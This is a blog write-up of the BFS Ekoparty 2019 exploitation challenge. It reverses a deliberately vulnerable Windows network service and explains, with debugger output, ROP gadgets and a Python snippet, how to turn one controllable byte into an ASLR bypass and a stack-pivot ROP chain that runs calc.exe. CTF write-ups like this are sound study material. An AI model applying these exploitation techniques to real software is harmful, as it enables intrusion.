TL;DR: In this blog, I’ll explain my approach to solve the BFS exploitation challenge [1]. The challenge was published by BFS to win a ticket for the BFS-IOACTIVE party during the Ekoparty conference. The exploit was developed on Windows 10 x64 1909.
0x01: Introduction
A while ago I’ve seen this challenge published by BFS. The aim of this challenge
was to bypass Address Space Layout Randomization (ASLR) remotely, get code
execution, and execute a calc.exe
or notepad.exe
on the running system.
Execution of one of these programs proves that the system was fully under our
control. Furthermore, it was necessary to restore the execution flow after
successful exploitation in order to ensure that all functions work properly.
0x02: Reversing the service
In general, I use IDA for most of the reversing tasks but in this case, I
wanted to try out the cloud version of Binary Ninja [2]. Usually, I follow a
static and dynamic approach which means I run the application in WinDBG and
also in IDA. This combined the strengths of both techniques. However, first
I’ve taken a look around the small binary to get a basic understanding of the
binary. My major focus was on the given output strings after the eko2019.exe
was executed. The idea behind this approach was to find the first foothold.
Also, a good point to start was the main function eko2019+0x1410
:
After I looked a bit deeper, the following actions were identified and will be
performed by the eko2019+0x1410
function (main):
- The
WinExec
[3] call is called withargv[0]
as an argument as long as the number of arguments passed to the binary is 0, which will never be true. So this condition will never be executed; and - A socket is bound to port
0xd431
(54321) and a connection handler ateko2019+0x10b0
is called for each newly connected client. - A loop will create a table of 256
QWORD
initialized with the value0x488B01C3C3C3C3
. The opcode0xC3
is an encodedRET
instruction, and0x488B01
encodes aMOV RAX, [RCX]
instruction.
+11:01% rasm2 -d 0x488B01C3C3C3C3 -b 64
mov rax, qword [rcx]
ret
ret
ret
ret
From the connection handler perspective, a 0x10
bytes header is read from
the socket. The first entry of the header is checked to match
0x393130326f6b45
(“Eko2019\0”), the second is checked to be lower than
0x200
(512 bytes). Furthermore, the send message length needs to be aligned
by 8 bytes.
and edx, 0x7
add eax, edx
and eax, 0x7
sub eax, edx
test eax, eax
je 0x140001330
[...]
lea rcx, [data_14000c0d0] {" [-] Error: Invalid size alignm…"}
call sub_140001650
If the message is aligned by 8 bytes the received buffer content is displayed on
stdout
. The return value of the printf
method is stored in the
.data
section. After doing both, static and dynamic analysis, we know that,
before the function eko2019+0x1170
will execute, RCX
contains the
previously created table of 256 QWORD
initialized with the value
0x488B01C3C3C3C3
.
0:000> dd rcx
00007ff6`0f18e520 c3c3c3c3 00488b01 c3c3c3c3 01488b01
00007ff6`0f18e530 c3c3c3c3 02488b01 c3c3c3c3 03488b01
00007ff6`0f18e540 c3c3c3c3 04488b01 c3c3c3c3 05488b01
00007ff6`0f18e550 c3c3c3c3 06488b01 c3c3c3c3 07488b01
00007ff6`0f18e560 c3c3c3c3 08488b01 c3c3c3c3 09488b01
00007ff6`0f18e570 c3c3c3c3 0a488b01 c3c3c3c3 0b488b01
00007ff6`0f18e580 c3c3c3c3 0c488b01 c3c3c3c3 0d488b01
00007ff6`0f18e590 c3c3c3c3 0e488b01 c3c3c3c3 0f488b01
Before the function will executed, the instruction
mov rcx,qword ptr [rcx+rax*8]
changed the RCX
register to
0x3e488b01c3c3c3c3
. The function at eko2019+0x1170
will invert these
values to little endian. As a result, 0x3e488b01c3c3c3c3
become to
0xc3c3c3c3018b483e
.
This value will be used in WriteProcessMemory()
as lpBuffer
and copied
the returned value of eko2019+0x1170
to the function eko2019+0x1000
.
The previously mentioned value will be interpreted as an assembler instruction
in eko2019+0x1000
:
+3:12% rasm2 -d 0x3e488b01c3c3c3c3 -b 64
mov rax, qword ds:[rcx]
ret
ret
ret
ret
The listing below shows the function before eko2019+0x1170
was executed and
WriteProcessMemory()
has overwritten the first 8-bytes:
0:003> u eko2019+0x1000
00007ff6`0f181000 48894c2408 mov qword ptr [rsp+8],rcx
00007ff6`0f181005 90 nop
00007ff6`0f181006 90 nop
00007ff6`0f181007 90 nop
00007ff6`0f181008 90 nop
00007ff6`0f181009 90 nop
00007ff6`0f18100a 90 nop
00007ff6`0f18100b 90 nop
The returned value of eko2019+0x1170
will be stored in RAX
afterward.
When the function at eko2019+0x1000
is called after the
WriteProcessMemory()
method, the returned value will land and execute in
eko2019+0x1000
, as seen below:
0:003> u eko2019+0x1000
00007ff6`0f181000 3e488b01 mov rax,qword ptr ds:[rcx]
00007ff6`0f181004 c3 ret
00007ff6`0f181005 c3 ret
00007ff6`0f181006 c3 ret
00007ff6`0f181007 c3 ret
00007ff6`0f181008 90 nop
00007ff6`0f181009 90 nop
00007ff6`0f18100a 90 nop
After the execution of the 8-bytes, the value containing in RAX
is sent back
in the socket. Luckily, we are able to control the RCX
and RAX
registers
by sending more than 0x201
bytes rather than 0x200
. We are able to
control only one byte of the RAX
register, in the example above 0x3e
,
which provides a limitation of instructions. Later, we will see that this one
byte is enough to achieve code execution.
0x03: Exploitation
As we know from the reversing session, we are able to control the RAX
and
RCX
register. This means we can change both, the code execution via the
RAX
register and its argument with the RCX
register. If we only change
the RCX
register it provides us an arbitrary read. This is a very strong
primitive.
Bypass ASLR
ASLR can be easily bypassed by using the arbitrary read primitive. The
problem is to find a suitable memory address that we can read. In Windows 64-bit
we are able to get the address of Process Environment Block (PEB) with the
special GS
register. By providing the accurate offset, GS
can point to
the PEB with the offset 0x60
.
0:000> dt nt!_TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x038 EnvironmentPointer : Ptr64 Void
+0x040 ClientId : _CLIENT_ID
+0x050 ActiveRpcHandle : Ptr64 Void
+0x058 ThreadLocalStoragePointer : Ptr64 Void
+0x060 ProcessEnvironmentBlock : Ptr64 _PEB
[...]
We can set the RAX
register to 0x65
and the RCX
register to
0x60
1 in order to get the following instruction:
+9:18% rasm2 -d 0x65488b01c3c3c3c3 -b 64
mov rax, qword gs:[rcx]
ret
ret
ret
ret
The value of RAX
is sent back in the socket and leaked the address of
PEB. In the next step, this address can be used to leak the Image Base
Address of eko2019.exe
. This can be achieved by adding 0x10
bytes to the
leaked PEB address:
0:000> dt nt!_PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Padding0 : [4] UChar
+0x008 Mutant : Ptr64 Void
+0x010 ImageBaseAddress : Ptr64 Void
[...]
Putting all together allows us to defeat ASLR:
+11:30% ./exploit-bypass_ASLR.py
[+] Leaked PEB address: 0x260000
[+] Leaked 'eko2019.exe' image base address: 0x7ff60f180000
To verify that the base address of eko2019
is correct we can look into
WinDBG:
0:001> lm m eko2019
start end module name
00007ff6`0f180000 00007ff6`0f192000 eko2019 C (no symbols)
With this approach, we can also read the StackBased address at offset
0x08
2, which gives us a pointer to the stack. With the stack base
address, we are able to read the whole binary memory space as well as the
current thread stack.
Code Execution
Now, that we are able to leak the image base address of eko2019
and bypass
ASLR we would like to gain code execution. In place of changing the RAX
register to a prefix to read arbitrary data, we can change it to a 1-byte3
instruction to change the execution flow:
+11:47% rasm2 -d 0x51488b01c3c3c3c3 -b 64
push rcx
mov rax, qword [rcx]
ret
ret
ret
ret
The push rcx
instruction allows us to place the controllable value of
RCX
onto the stack. After that, we just need to find a gadget that changes
the RSP
pointer to our stack buffer. The stack buffer contains data that we
control. In general, more gadgets to build an ROP chain.
Stack pivot & ROP chain
The controllable stack is around 0x60
bytes above, which means we need a
gadget that adjusts the RSP
register that it points in our buffer after the
function at eko2019+0x1000
was executed. Such gadgets can be easily found
with rp++
[5].
0x140001aea: add rsp, 0x0000000000000088 ; ret ; (1 found)
0x14000109a: add rsp, 0x00000000000001E8 ; ret ; (1 found)
0x1400013f9: add rsp, 0x0000000000000298 ; ret ; (1 found)
0x1400044cc: add rsp, 0x00000000000004D8 ; ret ; (1 found)
This gadget, so-called “stack-pivot”, is our first gadget and is placed in
RCX
. Through the push rcx
instruction, the stack-pivot gadget will
push onto the stack. As a result, this gadget will be executed after
eko2019+0x1000
was executed, as we can see below in the WinDBG snipped.
0:000> u rip L6
eko2019+0x1000:
00007ff7`90051000 51 push rcx
00007ff7`90051001 488b01 mov rax,qword ptr [rcx]
00007ff7`90051004 c3 ret
00007ff7`90051005 c3 ret
00007ff7`90051006 c3 ret
00007ff7`90051007 c3 ret
0:000> r rcx
rcx=00007ff790051aea
0:000> u rcx L2
eko2019+0x1aea:
00007ff7`90051aea 4881c488000000 add rsp,88h
00007ff7`90051af1 c3 ret
0:000> t
eko2019+0x1001:
00007ff7`90051001 488b01 mov rax,qword ptr [rcx] ds:00007ff7`90051aea=c300000088c48148
0:000> dqs rsp L2
00000000`008ffbb0 00007ff7`90051aea eko2019+0x1aea
00000000`008ffbb8 00007ff7`900513c4 eko2019+0x13c4
0:000> t
eko2019+0x1004:
00007ff7`90051004 c3 ret
0:000> dqs rsp L1
00000000`008ffbb0 00007ff7`90051aea eko2019+0x1aea
So far so good, we are able to point RSP
to our controllable stack, by
adding 0x88
bytes to the current RSP
value. But, how we can get code
execution? What kind of ROP magic can we perform to achieve our goal?
From the reversing session, we know that WinExec
will never execute because
of the number of arguments passed to the binary. We can change this situation,
all we need to do is to set RCX
(argc) and RDX
(argv) and returning to
the main function.
This can obtain through the fact that we can prepare the stack before we hijack
the main function flow at eko2019+0x1419
. Furthermore, we have to prepare
argv[0]
(lpCmdLine) with our command that should execute through the
WinExec
function. The executed command can be stored in the controllable
stack. In the course of this, argv[0]
has to point to a string we control.
0x140001436 mov edx, 1 ; uCmdShow
0x14000143b mov rax, qword [lpCmdLine] ; 'rsp+0x88' -> poi('calc.exe')
0x140001443 mov rcx, qword [rax] ; lpCmdLine
0x140001446 call qword [WinExec] ; WinExec(lpCmdLine, uCmdShow)
With the aid of the read primitive, we can obtain the StackBased address and walk through the stack and looking for a magic value (EGG). An example implementation in Python could look like:
# Find the 'CMD' string in the stack
def find_cmd_ptr(stack_base_addr):
MAGIC_VALUE = u64("HellYeah")
leaked_addr = 0
offset = 0
while leaked_addr != MAGIC_VALUE:
leaked_addr = leak_address(stack_base_addr - offset)
offset += 0x8
offset -= 0x8
cmd_ptr_addr = (stack_base_addr - offset)
return cmd_ptr_addr
With the obtained address were able to get the addresses for both instructions
at 0x14000143b
and 0x140001443
. Before WinExec
will execute our
stack could look like:
0:000> dqs rsp-0x10 L14
00000000`00cffc68 6578652e`636c6163 <---+ ; 'calc.exe'
|
[...] +----------+
|
00000000`00cffab0 00000000`00cffc68 <--------------+ ; poi(rsp+0x88)
00000000`00cffab8 00007ff6`0f18100d eko2019+0x100d | ; ret
[...] |
00000000`00cffb40 00000000`00000000 | ; cmp dword [argc], 0
00000000`00cffb48 00000000`00cffab0 ---------------+ ; rsp+0x88
0:000> dqs rsp+0x88 L1
00000000`00cffb48 00000000`00cffab0
0:000> dqs poi(rsp+0x88) L1
00000000`00cffab0 00000000`00cffc68
0:000> dqs poi(poi(rsp+0x88)) L1
00000000`00cffc68 6578652e`636c6163
0:000> da poi(poi(rsp+0x88))
00000000`00cffc68 "calc.exe"
If all arguments are set correctly, WinExec
will execute our command.
0:000> t
eko2019+0x1446:
00007ff7`90051446 ff15c47b0000 call qword ptr [eko2019+0x9010 [...]={KERNEL32!WinExec}
0:000> r rax,rcx
rax=00000000008ffc20 rcx=00000000008ffdf8
One of the rules for this challenge was to restore the execution flow after
successful exploitation in order to ensure that all functions work properly.
My approach to restoring the execution flow was to fill the ROP chain with
ret
gadgets until we reach eko2019+0x155a
.
0x04: Proof-of-Concept (PoC)
As we all know; “PoC or it didn’t happen!”
0x05: Final thought
After my OSEE in September last year, this was a great exercise and I really enjoyed this challenge. From my point of view, the hardest part was to build an ROP chain and restore the execution flow after executing arbitrary code.
Luckily, the developer of this nice challenge imported the WinExec
Windows
API. With the appropriate address, it was pretty simple to redirect the
control flow directly to the Windows API call at eko2019+0x1446
.
0x06: Resources
-
[1]
BFS Ekoparty 2019 Exploitation Challenge - Override Banking Restrictions to get US Dollars - https://labs.bluefrostsecurity.de/blog/2019/09/07/bfs-ekoparty-2019-exploitation-challenge/
-
[2]
Binary Ninja Cloud version - https://cloud.binary.ninja/
-
[3]
Microsoft Docs - WinExec function - https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
-
[4]
r2wiki - rasm2 documentation - https://r2wiki.readthedocs.io/en/latest/tools/rasm2/
-
[5]
rp++, a full-cpp written tool to find ROP sequences in PE/Elf/Mach-O x86/x64 binaries - https://github.com/0vercl0k/rp